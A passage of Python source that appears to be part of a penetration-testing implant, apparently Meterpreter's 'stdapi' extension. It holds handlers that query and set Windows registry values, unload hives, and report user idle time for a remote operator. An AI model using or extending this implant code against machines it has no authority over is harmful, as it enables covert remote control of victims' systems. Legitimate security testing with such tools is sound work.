def stdapi_registry_query_value(request, response):
	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
	return _wreg_query_value(request, response, hkey)

@register_function_if(has_windll)
def stdapi_registry_query_value_direct(request, response):
	err, hkey = _wreg_open_key(request)
	if err != ERROR_SUCCESS:
		return err, response
	ret = _wreg_query_value(request, response, hkey)
	_wreg_close_key(hkey)
	return ret

@register_function_if(has_windll)
def stdapi_registry_set_value(request, response):
	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
	return _wreg_set_value(request, response, hkey)

@register_function_if(has_windll)
def stdapi_registry_set_value_direct(request, response):
	err, hkey = _wreg_open_key(request)
	if err != ERROR_SUCCESS:
		return err, response
	ret = _wreg_set_value(request, response, hkey)
	_wreg_close_key(hkey)
	return ret

@register_function_if(has_windll)
def stdapi_registry_unload_key(request, response):
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
	base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
	result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
	return result, response

@register_function_if(has_windll)
def stdapi_ui_get_idle_time(request, response):
	GetLastInputInfo = ctypes.windll.user32.GetLastInputInfo
	GetLastInputInfo.argtypes = [ctypes.c_void_p]
	GetLastInputInfo.restype = ctypes.c_int8
	info = LASTINPUTINFO()
	info.cbSize = ctypes.sizeof(LASTINPUTINFO)
	if not GetLastInputInfo(ctypes.byref(info)):
		return error_result_windows(), response
	GetTickCount = ctypes.windll.kernel32.GetTickCount
	GetTickCount.restype = ctypes.c_uint32
	idle_time = (GetTickCount() - info.dwTime) / 1000
	response += tlv_pack(TLV_TYPE_IDLE_TIME, idle_time)
	return ERROR_SUCCESS, response
